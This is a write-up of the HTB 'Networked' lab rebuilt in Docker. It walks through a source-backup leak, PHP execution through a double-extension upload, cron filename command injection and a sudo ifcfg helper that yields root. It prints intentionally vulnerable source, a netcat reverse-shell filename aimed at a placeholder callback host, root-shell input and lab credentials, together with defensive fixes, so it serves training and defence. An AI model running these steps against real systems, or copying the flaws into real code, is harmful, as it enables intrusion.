Networked

Source-backed reference

A photo upload becomes PHP code. A cleanup job turns a filename into a shell command. A sudo helper turns a network setting into root execution. Three small trust-boundary failures form one complete chain.

PHP uploadsSource disclosureApache handlersCommand injectionCronSudoCentOS 7
  1. 1. Public source/backup/backup.tarThe build places four web-source files inside the document root.
  2. 2. Web executionshell.php.gif → apacheThe suffix survives renaming; Apache explicitly maps embedded .php. to PHP.
  3. 3. Scheduled executionfilename → shell → gullyA three-minute cleanup job concatenates an unquoted path into exec().
  4. 4. Root executioninput → ifcfg → rootSudo authorizes a helper whose generated config is sourced by ifup.
Source-derived attack path for this Docker recreation. The privileged stages are consecutive steps, not two independent direct paths from the web user to root.

The scenario

The supplied lab recreates the HTB “Networked” attack chain using a CentOS 7 container, Apache, PHP, cron, and a deliberately unsafe network-configuration helper. The landing page is sparse, while the upload and gallery pages are not linked from it.

The intended route starts with a publicly served backup, reaches the Apache worker through an uploaded PHP-bearing file, becomes gully through a cron command-injection bug, and finally crosses a sudo boundary into container root. The two flag files mark the latter two stages.

Review only—nothing was run

The local web source, scripts, Docker configuration, entrypoint, README, readable text copies, and temporary PHP copies were inspected. Public documentation and upstream network-script source were read for context. No supplied file was executed, no Docker image was built or started, and no request was sent to a lab endpoint. The PDF could not be previewed in this environment and was not used as independent evidence.

What a complete solve means

  • Explain how a file can look like an image to one component and execute as PHP to another.
  • Follow the exact stored filename, rather than guess the client address visible to the container.
  • Connect writable directory entries to a scheduled command running under a different account.
  • Locate the actual shell parse in the root path: sourcing the generated configuration.
  • Distinguish source-supported behavior, README-reported results, and runtime proof not collected here.

The central idea

Data is not harmless just because it is called a photo, a filename, or a network setting. Follow how the next component interprets it.

The central correction

The upload checks print rejection messages but do not terminate. The recreation is weaker than the README's “bypass the checks” description suggests.

Reveal lab-only credentials and default flag values

The Dockerfile creates gully with password gully. This is a training credential, not a recovered secret. No SSH server is installed or published by the supplied configuration.

Compose defaults FLAG to the following 32-character string. The entrypoint writes its first half to the user file and its remainder to the root file. These are defaults derived from configuration, not flags read from a running container.

Default FLAG environment value
0123456789abcdef0123456789abcdef
FileDefault contents, before newlineConfigured access
/home/gully/user.txt0123456789abcdefOwner gully:gully, mode 0400.
/root/root.txt0123456789abcdefWritten by the root entrypoint, mode 0400.

A custom FLAG changes both parts. The split point is length / 2 rounded down, so an odd-length value leaves the extra character in the root part.

Upload & PHP execution

Checked against web/ + Dockerfile

The MIME detector, final-extension check, filename builder, gallery, and Apache handler each see a different part of the same file. None establishes that an upload is safe to execute.

1. The backup exposes the web implementation

The Dockerfile builds /var/www/html/backup/backup.tar from index.php, lib.php, photos.php, and upload.php. Its intended URL is /backup/backup.tar. The landing page's comment confirms the upload and gallery are not mentioned yet.

This archive is source disclosure: PHP files inside a TAR are delivered as archive bytes rather than individually interpreted by PHP. The build command does not put the cron or sudo scripts in this backup. Those are separate local-enumeration findings later in the chain.

2. MIME detection reads the temporary file

web/lib.php · lines 3–14
function file_mime_type($file) {
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    return $finfo->file($file);
}

function check_file_type($file) {
    $mime = file_mime_type($file);
    if (strpos($mime, 'image/') === 0) {
        return true;
    }
    return false;
}

This is server-side content sniffing using Fileinfo, not a comparison with the multipart request's user-supplied Content-Type. A GIF89a prefix is the README's way to influence that sniffing, but a recognizable prefix is not proof of a complete valid image or absence of PHP code. Actual classification by the installed MIME database was not tested.

3. Rejection messages are not enforcement

web/upload.php · failed-check branches
if (!(check_file_type($_FILES["myFile"]["tmp_name"]))) {
    echo '<b>File is not an image!</b><br>';
    displayform();
}

$validext = array('.jpg', '.png', '.gif', '.jpeg');
$ext = substr($myFile['name'], strrpos($myFile['name'], '.'));

if (!in_array($ext, $validext)) {
    echo '<b>Invalid image file!</b><br>';
    displayform();
}

displayform() only outputs the form; it contains no exit, return that exits the caller, or exception. Both branches fall through to filename construction and move_uploaded_file(). For an ordinary valid multipart upload, a failed MIME or extension check therefore does not prevent the move by itself.

A “rejected” upload can still be stored

The error text can appear in the same response as file uploaded, refresh gallery. The relevant evidence would be the stored object and its handling, not an error banner alone. Filesystem permissions, PHP request limits, and upload errors can still cause the move to fail.

The local source also lacks an explicit UPLOAD_ERR_OK check or application-level file-size cap. PHP and the web server can impose their own limits; this is not a claim of unlimited upload size.

4. Renaming removes the basename, not the suffix chain

web/upload.php · lines 25–35
$ip = str_replace('.', '_', $_SERVER['REMOTE_ADDR']);
$name_parts = explode('.', $myFile['name'], 2);
if (count($name_parts) > 1) {
    $new_name = $ip . '.' . $name_parts[1];
} else {
    $new_name = $ip . $ext;
}

move_uploaded_file($myFile['tmp_name'], UPLOAD_DIR . $new_name);

explode(..., 2) splits at the first dot only. With client address 192.0.2.10 and original name shell.php.gif, the stored name is 192_0_2_10.php.gif. The original shell basename is gone, but php.gif survives.

The prefix comes from the address Apache sees, not necessarily your workstation's LAN address. Docker forwarding, NAT, or a proxy can change it. Files from the same visible address and suffix also collide because no unique random identifier is added.

5. Apache deliberately executes the embedded PHP extension

Dockerfile · generated Apache configuration
<FilesMatch "\.php\.">
    SetHandler application/x-httpd-php
</FilesMatch>

The expression matches .php. inside a filename; it does not require .php to be the final extension. The Dockerfile explicitly adds this rule for double-extension files. A final .gif therefore does not stop the request from being routed to the PHP handler in the intended container configuration.

This is configuration-dependent. Double extensions do not automatically mean execution on every Apache installation, and a MIME type is not the same thing as an execution handler.

6. The gallery is not a second validation boundary

photos.php lists stored files with final extensions jpg, jpeg, png, or gif, then builds an img URL. It escapes the filename with htmlspecialchars(), which addresses HTML interpretation—not PHP execution on the server.

A request to an img src can still reach the PHP handler. The browser may display a broken image while PHP has already executed. Files with a non-image final extension can be absent from the gallery yet remain reachable by a known direct URL.

Example original nameStored name for 192.0.2.10What the source implies
photo.gif192_0_2_10.gifGallery-eligible; does not match the added .php. rule.
shell.php.gif192_0_2_10.php.gifFinal-extension check accepts; gallery includes; PHP handler rule matches.
shell.php.txt192_0_2_10.php.txtExtension error is printed, but processing continues; gallery omits; embedded PHP rule still matches.
shell.php.GIF192_0_2_10.php.GIFUpload allowlist is case-sensitive, gallery lowercases, and rejection still does not terminate.

A minimal lab-only execution marker

This inert example uses a fixed PHP output marker rather than an arbitrary command interface. Its purpose is to separate server-side interpretation from merely storing a file. It has not been uploaded or executed.

Example contents for proof.php.gif · text only
GIF89a
<?php echo "NETWORKED_PHP_PROOF"; ?>

If processed as PHP, the response would contain the literal marker without the PHP source tags. If served as static data, it would contain the PHP code itself. Neither outcome was observed here.

Privilege escalation

Two consecutive trust boundaries

The scripts are root-owned, but their inputs are not trustworthy. The chain abuses a directory entry first, then a configuration value interpreted as shell source.

1. Cron runs the cleanup as gully

The Dockerfile copies the cleanup to /home/gully/check_attack.php, makes it root-owned and readable with mode 0644, and installs this job in gully's crontab:

Dockerfile · actual scheduled job
*/3 * * * * /usr/bin/php /home/gully/check_attack.php

The owner of the crontab determines the execution account. Root ownership of the PHP file does not mean cron runs it as root. A readable discovery clue is also created at /home/gully/crontab.gully.

*/3 means minutes 0, 3, 6, and so on—not a timer that starts three minutes after a file is created. The entrypoint starts crond. A live instance would also need a healthy daemon and functioning job; neither was checked.

2. The cleanup treats a filename as command text

scripts/check_attack.php · lines 8–15
while ($file = readdir($dir_handle)) {
    if ($file === '.' || $file === '..') { continue; }
    $filepath = $path . $file;

    if (!(check_ip($filepath, $file))) {
        exec("nohup /bin/rm -f " . $filepath);
    }
}

PHP's exec() passes this string through a shell on Unix. Filename characters are inserted without argument escaping. A semicolon in the directory entry becomes shell syntax instead of staying part of one filesystem path.

Command-construction model · illustrative, not executed
Directory: /var/www/html/uploads/
Filename:  ;id

Constructed shell text:
nohup /bin/rm -f /var/www/html/uploads/;id

Shell interpretation:
  first command:  nohup /bin/rm -f /var/www/html/uploads/
  next command:   id
  identity:       the cron account, gully

The first command attempts to remove the directory itself without recursive removal and can fail; the semicolon still starts the second command. The original malicious directory entry is not passed as one literal filename.

The local script contains no trailing & to detach the injected command. nohup applies to the first rm, not automatically to the command after the semicolon. A long-lived injected command can keep that cron invocation waiting.

3. The filename validator disagrees with the uploader

web/lib.php · lines 16–22
function check_ip($prefix, $filename) {
    if (preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\./', $filename)) {
        return true;
    }
    return false;
}

The $prefix parameter is ignored. The regex expects dotted octets at the beginning of the filename, but the uploader uses underscores: 192_0_2_10.php.gif does not match. Ordinary uploaded files therefore enter the cleanup branch too.

The regex is also only a prefix test, not full IPv4 validation: it allows values such as 999 and does not validate the remaining suffix. A semicolon-leading name is sufficient to fail it.

The upload directory is configured as 0777, owned by apache:apache, with no sticky bit. That allows both accounts to manipulate directory entries; deleting a file depends mainly on directory permissions, not on being able to write the file's contents. Protecting the cron script itself is not enough.

4. Sudo authorizes a narrow-looking root helper

Dockerfile · sudo rule
gully ALL=(root) NOPASSWD: /usr/local/bin/changename.sh

The rule is for gully, not apache. It permits one script without a password, but that script writes a root-consumed config from interactive input and immediately invokes /sbin/ifup guly0. Notice the recreation's account gully and the interface's spelling guly0.

5. A character allowlist still permits shell grammar

scripts/changename.sh · input-to-config path
regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
    echo "interface $var:"
    read x
    while [[ ! $x =~ $regexp ]]; do
        echo "wrong input, try again"
        echo "interface $var:"
        read x
    done
    echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0

Spaces and slashes are allowed. A value such as a /bin/bash passes the intended character allowlist and produces the line NAME=a /bin/bash. At the echo stage these are arguments being written to a file; splitting an argument does not by itself execute it as a new command.

6. The second parse happens when ifup sources the file

The public RHEL 7 upstream network-functions implementation contains source_config(), which uses the dot command to source /etc/sysconfig/network-scripts/$CONFIG. Its ifup calls this function after checking the caller is root. This explains the intended mechanism; it is not a byte-for-byte review of an installed container package.

Generated configuration interpreted as shell source
# Input at the NAME prompt:
a /bin/bash

# Line written into ifcfg-guly:
NAME=a /bin/bash

# When the configuration is sourced as root:
# NAME=a is an environment assignment for a command.
# /bin/bash is that command, running as root.

No semicolon is required: shell assignment-plus-command syntax already uses letters, a slash, and a space. The vulnerability is unsafe serialization into executable shell configuration followed by privileged sourcing.

The upstream need_config() can locate a config by its DEVICE value, so ifcfg-guly can be found for guly0 despite the filename not ending in guly0. Config sourcing occurs before later device bring-up; a missing physical interface is not inherently a defense against the earlier shell parse.

Quote the right boundary

Changing only echo $var=$x to echo "$var=$x" still writes NAME=a /bin/bash without shell quoting inside the file. A real fix must serialize values safely for the consumer—or avoid sourcing user-controlled configuration altogether.

What root means in this lab

The intended final account is root inside the container. The supplied Compose file does not specify privileged mode, a Docker socket mount, or host bind mounts. This chain is not evidence of a host escape, and none was attempted.

Solve walkthrough

Read-only study route

Follow the stored object and the execution identity at every step. The useful result is an explained chain—not a collection of copied reverse-shell commands.

The following steps adapt the README to the actual supplied recreation. All examples are inert reference text for a future owned, isolated lab. No command here was run and no live result is claimed.

  1. Establish the recreation's scope

    Read docker-compose.yml, Dockerfile, and entrypoint.sh. Record the intended address http://localhost:8888, container port 80, users, cron schedule, sudo rule, and flag split.

    Compose publishes 8888:80 without a loopback-only host address. A future launch can therefore expose it beyond localhost depending on the host firewall. Use an isolated environment; no launch is part of this review.

    Record: the mapped HTTP port, Apache account, gully job ownership, and the distinction between container root and host root.
  2. Map the web surface and source disclosure

    The known routes are /, /upload.php, /photos.php, /uploads/, and /backup/backup.tar. The build generates the backup from exactly four web-source files.

    The README's unqualified http://<ip> examples assume port 80. For the host mapping, the URL would include :8888. No scan, brute force, download, or archive extraction was performed here.

    Record: the upload input name myFile, submit field submit, MIME detector, filename transform, and Apache execution rule. The backup does not disclose the cleanup script.
  3. Trace a PHP-bearing upload

    Use the Upload page's fixed-output marker to understand the minimal proof. Its name proof.php.gif becomes <server_seen_ip_with_underscores>.php.gif. The final extension is allowed, the embedded PHP extension survives, and the configured handler matches it.

    The form uses multipart encoding. The backend's rejection branches also lack termination, so an error message alone would not be proof that storage was blocked.

    Future proof to distinguish: stored file versus interpreted PHP response. A broken image is not a reliable execution test. No file was submitted here.
  4. Establish the Apache identity before escalating

    The README reports using a PHP command interface to get a shell as apache. That is the intended worker identity, not an observation from this review. In a future reproduction, check identity explicitly rather than infer it from a prompt.

    The README's callback address 172.25.0.1 is not defined by this Compose file. Callback reachability, listener ports, and the installed nc/ncat syntax must be established for that environment; flags such as -e and -c are implementation-specific.

    Record: the actual process account, stored URL, and network assumptions. A copied callback address is not a portable solution.
  5. Follow the readable cron clue

    The Dockerfile creates /home/gully/crontab.gully and /home/gully/check_attack.php as readable files. The actual script path is under /home/gully, not /var/www/html as the README's prose says.

    Follow the scheduled PHP script into check_ip(), then the failing branch into exec(). The attacker controls a writable directory entry; editing the root-owned cron source is unnecessary.

    Record: an untrusted filename becomes part of shell text executed by gully. The file's contents are irrelevant to this injection.
  6. Understand the filename payload and the schedule

    The simplest construction model is a filename ;id. The semicolon is literal when the filename is created with quoting, then becomes syntax when the cleanup concatenates it into a shell command. The Privilege page shows the exact parse.

    Read the README-style callback example · not executed

    This is the reported filename-injection pattern with the hardcoded callback address replaced by a placeholder. It is reference text, not a tested command recipe.

    Future isolated-lab pattern · apache-side filename
    cd /var/www/html/uploads/
    touch -- ';nc -c bash LAB_CALLBACK_IP 5555'

    Replace the placeholder only in a later authorized lab and verify the target's Ncat syntax. A filename cannot contain /, so putting /bin/bash directly into this particular filename does not create one directory entry. A callback also needs a reachable listener.

    The job runs on wall-clock three-minute boundaries. In the local implementation, an injected long-lived command is not automatically backgrounded and can keep that cron process open.

    Future proof: independently establish the resulting identity as gully and access to the user flag. Neither was tested here.
  7. Translate sudo input into the generated root config

    The source rule permits /usr/local/bin/changename.sh as root without a password for gully. The helper asks for values, not full KEY=value assignments. The literal equals sign in the README's NAME= a bash example is not allowed by the regex if typed as input.

    Intended prompt/value sequence · not run
    interface NAME:
    a /bin/bash
    interface PROXY_METHOD:
    none
    interface BROWSER_ONLY:
    no
    interface BOOTPROTO:
    none

    The key generated line is NAME=a /bin/bash. The privileged ifup sources that line through the legacy network-script machinery. This is the expected execution point, not echo's argument expansion.

    Future proof: root identity inside the container and access to /root/root.txt. Exact installed initscripts and runtime acceptance remain unverified.
  8. Relate the two flag parts to the supplied configuration

    entrypoint.sh writes the first half of FLAG into the user file and the remaining half into the root file, each followed by a newline. It sets the user file's owner to gully and both files to mode 0400.

    Default values are disclosed on the Overview page. They are configuration-derived reference values, not evidence that the attack chain completed or that any instance currently uses those defaults.

    Complete explanation: HTTP input → PHP handling → cron filename parse → privileged config parse, with the account at every boundary.

If a future reproduction disagrees

SymptomFirst thing to inspect
Host URL does not connectHost port 8888 versus container port 80; container state and isolation. Nothing was started during this review.
“Not an image” appearsActual MIME database and response continuation. The error is not an enforced return in this source.
Uploaded object is not in the galleryFinal extension, stored server-visible IP prefix, upload move result, and cleanup timing. Direct reachability is a separate question.
PHP source is served unchangedActual Apache handler configuration and PHP module availability. The filename alone does not guarantee execution.
A normal upload disappearsUnderscore/dotted-IP mismatch: normal uploads also fail check_ip() and enter cleanup.
Cron never produces a callbackInstalled job ownership, daemon health, valid one-entry filename, wall-clock schedule, callback routing, and Ncat variant.
Root helper says “wrong input”Supply values only; do not type NAME=. The regex allows spaces and slashes but not =.
Device guly0 is missingConfiguration resolution and the earlier sourcing step. Device initialization errors can happen after the intended execution point.
A published write-up uses different pathsOriginal HTB guly and /usr/local/sbin versus local gully and /usr/local/bin.
The flags are differentCustom FLAG environment value and entrypoint splitting, not a fixed original HTB flag.

Things to learn

Root causes & defensive checks

The chain is not about a magical extension or a powerful sudo command. It is about letting one component's untrusted data become another component's executable syntax.

Follow interpreters, not labels

Fileinfo sees a byte signature. The upload allowlist sees the final extension. The filename builder preserves a suffix chain. Apache assigns an execution handler. A shell parses the cleanup string. Another shell sources the network configuration. Security depends on all of those interpretations, not one successful check.

Trace the failure path all the way to the side effect

A rejected-looking branch is ineffective if control flow still reaches the file move. Review what happens after validation failure, including helper behavior. Logging or displaying an error is not the same as preventing the operation.

Protect the inputs to trusted scripts

A root-owned cron script can still execute attacker-controlled filenames. A root-owned sudo helper can still emit attacker-controlled shell source. File ownership protects the script's bytes; it does not automatically protect the data it consumes.

Quoting depends on the consumer

Shell-safe process arguments, HTML escaping, and shell-safe configuration serialization solve different problems. htmlspecialchars() does not disable PHP. Quoting arguments to echo does not quote the values in a sourced config. A restricted character set is not enough when allowed spaces encode a valid command boundary.

Keep the chain's identities explicit

Apache, the cron owner, the sudo-authorized caller, and the final process are different roles. A job's schedule does not imply root execution, a script's owner is not its runtime identity, and a container's root account is not proof of host compromise.

Defenses and meaningful regression checks

FailureDefensive changeRegression check for a future fixed version
Public source backupKeep backups outside the document root and explicitly deny public access to internal artifacts.The public backup route must not disclose source or secrets; archived files must not be reachable through alternate paths.
Validation falls throughCheck upload status and type, enforce bounds, and terminate before storage on any failure.Invalid type, extension, or upload status produces no stored object—not merely an error message.
Untrusted filename controls handler selectionGenerate unique server-side names; store outside the web root; serve through a non-executing retrieval layer.PHP-bearing double extensions cannot select PHP or CGI handling, even if a file is accidentally stored.
Weak content sniffingDecode and re-encode permitted images with an updated, resource-limited processor. Treat parsing as untrusted work.Truncated headers and unsupported formats are rejected; output is a newly generated allowed image. This complements, not replaces, disabled execution.
Filename-to-shell concatenationAvoid shell invocation for deletion; use filesystem APIs and constrain entries to the intended directory.Semicolons, spaces, quotes, and metacharacters remain literal filename data. No secondary process is created.
Broad upload-directory permissionsUse minimum necessary permissions, an unprivileged cleanup identity, and a consistent storage-name contract.Unrelated accounts cannot manipulate entries; ordinary stored names are not misclassified as attacks.
User input becomes root shell configAvoid sourced user-controlled config. If a legacy format is unavoidable, allowlist keys and values and serialize specifically for that shell format.a /bin/bash is rejected or remains a literal value; privileged config loading cannot start a command.
Overpowered sudo helperRemove unnecessary root delegation or replace it with a narrow operation that cannot write executable configuration.The permitted operation cannot invoke an interpreter through its data inputs.
Exposed training defaultsKeep the vulnerable lab isolated; do not reuse the weak account password or deploy it as a production service.Only intended local users can reach the training service, and its defaults never grant access to unrelated systems.

Remove the shell from cleanup

A direct filesystem operation eliminates the shell grammar in this specific sink. The following is a defensive fragment, not a modification to the supplied lab and not a complete cleanup policy:

Defensive alternative · reference fragment only
// $file is a single directory entry returned by readdir().
// Validate the cleanup policy separately; do not invoke a shell.
$filepath = $path . $file;
if (is_file($filepath) || is_link($filepath)) {
    if (!unlink($filepath)) {
        error_log('Unable to remove upload entry');
    }
}

In a complete implementation, also handle directory ownership, allowed entry types, races, failures, and the retention policy. This fragment addresses filename interpretation by a shell; it is not a blanket claim that filesystem cleanup has no other risks.

Fix the causes, not just the demonstration strings

Blocking .php.gif, deleting semicolons, or banning the word bash would address examples rather than the boundary failures. Use non-executing storage, non-shell deletion, and non-executable configuration wherever possible.

Self-check

  • Can I explain why Fileinfo's result is different from trusting the request's Content-Type?
  • Can I show that displayform() does not stop the failed upload path?
  • Can I derive the stored name from the first-dot split and server-visible client address?
  • Can I identify the exact Apache rule that handles an embedded .php.?
  • Can I explain why an img request can execute PHP before failing to render?
  • Can I explain why the cleanup runs as gully, even though its script is root-owned?
  • Can I identify the underscore/dotted-IP mismatch and ignored $prefix argument?
  • Can I show where a filename's semicolon becomes shell syntax?
  • Can I explain why NAME=a /bin/bash executes a command only when sourced?
  • Can I distinguish a quoting fix for echo from safe serialization into the config?
  • Can I separate a configured default flag from a flag retrieved during a tested solve?

Useful follow-up topics

Apache content types versus handlers; multipart upload validation; polyglot file interpretation; Unix directory permissions and sticky bits; cron's environment and account selection; shell assignment prefixes; legacy ifcfg loading; safe serializers; and least-privilege sudo design.

Files & source notes

Provenance & inert snapshots

Use the local implementation as the source of truth for this recreation. Preserve README corrections and keep external context separate from claims about an unbuilt container.

Reviewed file inventory

Local pathRoleReview status
Networked/README.MDReported route, sample payloads, flags, and file structure.Read in full. Its runtime claims were not reproduced.
Networked/DockerfileCentOS packages, web deployment, permissions, Apache handler, backup, cron, and sudo setup.Read in full; not built.
Networked/docker-compose.ymlPort mapping, service settings, and default FLAG environment.Read in full; no Compose command run.
Networked/entrypoint.shFlag split, file permissions, cron startup, and Apache startup.Read in full; not executed.
Networked/web/upload.phpMultipart input, non-terminating checks, suffix-preserving filename, and file move.Read in full; no upload submitted.
Networked/web/lib.phpFileinfo MIME check, dotted-IP prefix regex, and form rendering.Read in full.
Networked/web/photos.php
Networked/web/index.php
Image URL generation and unlinked landing-page clues.Read in full; not served or opened as an application.
Networked/scripts/check_attack.phpScheduled filename-to-shell cleanup sink.Read in full; not executed.
Networked/scripts/changename.shInteractive root config writer and ifup invocation.Read in full; not executed.
Networked/temp/{index,lib,photos,upload}.phpTemporary web-source copies.Read; the visible text matches the corresponding web files. Their extraction history was not established.
Networked/temp/kreek.php.gifExisting GIF-prefixed PHP command interface.Text inspected with a content search; not loaded through PHP or requested.
Networked/temp/backup.tarExisting local archive.Presence noted only; not extracted, executed, or compared with a generated backup.
Arshlaan_s Write-ups/Networked - CTF Lab.pdfSupplied write-up.Located; direct PDF preview unsupported. Contents not independently reviewed.
field-guide/assets/sources/Networked-docs.txt
field-guide/assets/sources/Networked-code.txt
Existing readable README and source text copies.Read as supporting copies, not as extracted PDF text or runtime evidence.
madx.html
its-a-fly.html
Requested visual and interaction references.Source read; sidebar, six-section structure, colors, offline controls, and evidence language followed.

Discrepancy register

TopicDocumentation or common assumptionActual source / handling here
Upload rejectionMIME and image-extension checks enforce admission.Both failures call a form-rendering function that does not exit. Execution still reaches the file move.
Stored filename<your_ip>.php.gif.Dots in the server-visible address become underscores; only the suffix after the original first dot survives.
Double-extension executionAny PHP/image double extension executes universally.The Dockerfile explicitly supplies an embedded .php. handler rule. Execution depends on the actual server configuration.
Backup contentsThe web backup also reveals the cleanup cron script.The TAR build includes only four web-source files. Cron and sudo artifacts are copied elsewhere.
Cleanup pathREADME: /var/www/html/check_attack.php.Dockerfile job: /home/gully/check_attack.php.
Filename validationA valid-looking IP filename means legitimate upload.Regex expects dotted octets, ignores $prefix, and is not full IP validation; uploader generates underscore-separated octets.
Cron timing“Every ~3 minutes” can imply a relative timer.*/3 schedules wall-clock minute multiples. Job execution and daemon health remain untested.
Backgroundingnohup detaches everything in the concatenated string.The local sink contains no final &; nohup affects the first command, not a semicolon-separated second command.
Root triggerWord splitting at echo directly starts bash.Echo writes text; privileged config sourcing reparses NAME=a /bin/bash as assignment plus command.
NAME prompt syntaxType NAME= a bash.The helper reads values only and rejects =. Example value: a /bin/bash.
Original versus recreationOriginal HTB write-ups use guly, /usr/local/sbin/changename.sh, and SSH.Local account is gully, helper is under /usr/local/bin, and the supplied setup publishes HTTP only.
Callback addressREADME uses 172.25.0.1 as if universal.No subnet or gateway is pinned by this Compose file. Callback examples are environment-specific and untested.
FlagsFixed original HTB user/root answers.The entrypoint splits an environment value at runtime; defaults are derivable without solving or running the lab.

Original source snapshots

The following snapshots are escaped HTML text. Expanding them, printing them, or copying them does not execute PHP, Bash, Docker, or any lab command.

Read web/upload.php · complete original snapshot
Networked/web/upload.php
<?php
require '/var/www/html/lib.php';

define("UPLOAD_DIR", "/var/www/html/uploads/");

if( isset($_POST['submit']) ) {
  if (!empty($_FILES["myFile"])) {
    $myFile= $_FILES["myFile"];

    if (!(check_file_type($_FILES["myFile"]["tmp_name"]))) {
        echo '<b>File is not an image!</b><br>';
        displayform();
    }

    // Check for valid image file extension
    $validext = array('.jpg', '.png', '.gif', '.jpeg');
    $ext = substr($myFile['name'], strrpos($myFile['name'],'.'));

    if (!in_array($ext, $validext)) {
        echo '<b>Invalid image file!</b><br>';
        displayform();
    }

    // Build filename from client IP and preserve original filename's extensions
    $ip = str_replace('.', '_', $_SERVER['REMOTE_ADDR']);

    // Get all extensions after the first dot (preserves double extensions like .php.gif)
    $name_parts = explode('.', $myFile['name'], 2);
    if (count($name_parts) > 1) {
        $new_name = $ip . '.' . $name_parts[1];
    } else {
        $new_name = $ip . $ext;
    }

    if (move_uploaded_file($myFile['tmp_name'], UPLOAD_DIR . $new_name)) {
        echo '<b>file uploaded, refresh gallery</b><br>';
    } else {
        echo '<b>Error.</b><br>';
    }
  }
} else {
  displayform();
}
?>
Read web/lib.php · complete original snapshot
Networked/web/lib.php
<?php

function file_mime_type($file) {
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    return $finfo->file($file);
}

function check_file_type($file) {
    $mime = file_mime_type($file);
    if (strpos($mime, 'image/') === 0) {
        return true;
    }
    return false;
}

function check_ip($prefix, $filename) {
    // Build expected filename pattern: IP.ext
    if (preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\./', $filename)) {
        return true;
    }
    return false;
}

function displayform() {
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data">
 <input type="file" name="myFile">
 <br>
 <input type="submit" name="submit" value="go!">
</form>
<?php
}

function getExtension($filename) {
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    return $ext;
}
?>
Read scripts/check_attack.php · complete original snapshot
Networked/scripts/check_attack.php
<?php
require '/var/www/html/lib.php';

$path = '/var/www/html/uploads/';

$dir_handle = @opendir($path) or die("Unable to open $path");

while ($file = readdir($dir_handle)) {
  if ($file === '.' || $file === '..') { continue; }

  $filepath = $path . $file;

  if (!(check_ip($filepath, $file))) {
    exec("nohup /bin/rm -f " . $filepath);
  }
}

closedir($dir_handle);
?>
Read scripts/changename.sh · complete original snapshot
Networked/scripts/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
  echo "interface $var:"
  read x
  while [[ ! $x =~ $regexp ]]; do
    echo "wrong input, try again"
    echo "interface $var:"
    read x
  done
  echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0
Read Dockerfile · complete original snapshot
Networked/Dockerfile
FROM centos:7

# ---------- fix dead CentOS 7 mirrors ----------
RUN sed -i 's|^mirrorlist=|#mirrorlist=|g' /etc/yum.repos.d/CentOS-*.repo && \
    sed -i 's|^#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*.repo

# ---------- packages ----------
RUN yum -y install epel-release && \
    sed -i 's|^metalink=|#metalink=|g' /etc/yum.repos.d/epel*.repo && \
    sed -i 's|^#baseurl=https\?://download.fedoraproject.org/pub|baseurl=https://archives.fedoraproject.org/pub/archive|g' /etc/yum.repos.d/epel*.repo && \
    yum -y install httpd php php-gd php-common cronie nmap-ncat sudo net-tools initscripts && \
    yum clean all

# ---------- users ----------
RUN useradd -m gully && \
    echo "gully:gully" | chpasswd

# ---------- web root ----------
COPY web/index.php   /var/www/html/index.php
COPY web/lib.php     /var/www/html/lib.php
COPY web/photos.php  /var/www/html/photos.php
COPY web/upload.php  /var/www/html/upload.php

RUN mkdir -p /var/www/html/uploads /var/www/html/backup && \
    chown apache:apache /var/www/html/uploads && \
    chmod 0777 /var/www/html/uploads

# Create network-scripts dir for changename.sh
RUN mkdir -p /etc/sysconfig/network-scripts

# Allow Apache to execute .php inside double-extension files (e.g. shell.php.gif)
# CentOS 7 mod_php uses AddHandler php5-script 
RUN echo '<FilesMatch "\.php\.">' >> /etc/httpd/conf/httpd.conf && \
    echo '    SetHandler application/x-httpd-php' >> /etc/httpd/conf/httpd.conf && \
    echo '</FilesMatch>' >> /etc/httpd/conf/httpd.conf

# ---------- backup tarball ----------
RUN cd /var/www/html && \
    tar cf backup/backup.tar index.php lib.php photos.php upload.php

# ---------- priv-esc 1: apache -> gully (cron + check_attack) ----------
COPY scripts/check_attack.php /home/gully/check_attack.php
RUN chown root:root /home/gully/check_attack.php && \
    chmod 0644 /home/gully/check_attack.php

# Discovery clue: crontab.gully (readable by everyone)
RUN echo '*/3 * * * * php /home/gully/check_attack.php' > /home/gully/crontab.gully && \
    chown root:root /home/gully/crontab.gully && \
    chmod 0644 /home/gully/crontab.gully

# Cron: run every 3 minutes as gully
RUN echo "*/3 * * * * /usr/bin/php /home/gully/check_attack.php" | crontab -u gully -

# Make /home/gully listable by everyone (matches original box)
RUN chmod 0755 /home/gully

# ---------- priv-esc 2: gully -> root (sudo + changename.sh) ----------
COPY scripts/changename.sh /usr/local/bin/changename.sh
RUN chmod 0755 /usr/local/bin/changename.sh && \
    echo "gully ALL=(root) NOPASSWD: /usr/local/bin/changename.sh" >> /etc/sudoers

# ---------- flags (written at runtime by entrypoint.sh via $FLAG env var) ----------
ENV FLAG=""

# ---------- entrypoint ----------
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh

EXPOSE 80

ENTRYPOINT ["/entrypoint.sh"]
Read entrypoint.sh + docker-compose.yml · complete snapshots
Networked/entrypoint.sh
#!/bin/bash

if [ -z "$FLAG" ]; then
  echo "[!] WARNING: No FLAG set. Using default."
  FLAG="0123456789abcdef0123456789abcdef"
fi

len=${#FLAG}
half=$((len / 2))

echo "${FLAG:0:$half}" > /home/gully/user.txt
chown gully:gully /home/gully/user.txt
chmod 0400 /home/gully/user.txt

echo "${FLAG:$half}" > /root/root.txt
chmod 0400 /root/root.txt

# Start cron daemon in the background
/usr/sbin/crond
# Start Apache in the foreground (keeps container alive)
exec /usr/sbin/httpd -D FOREGROUND
Networked/docker-compose.yml
version: "3.8"

services:
  networked:
    build: .
    container_name: networked
    ports:
      - "8888:80"
    restart: unless-stopped
    environment:
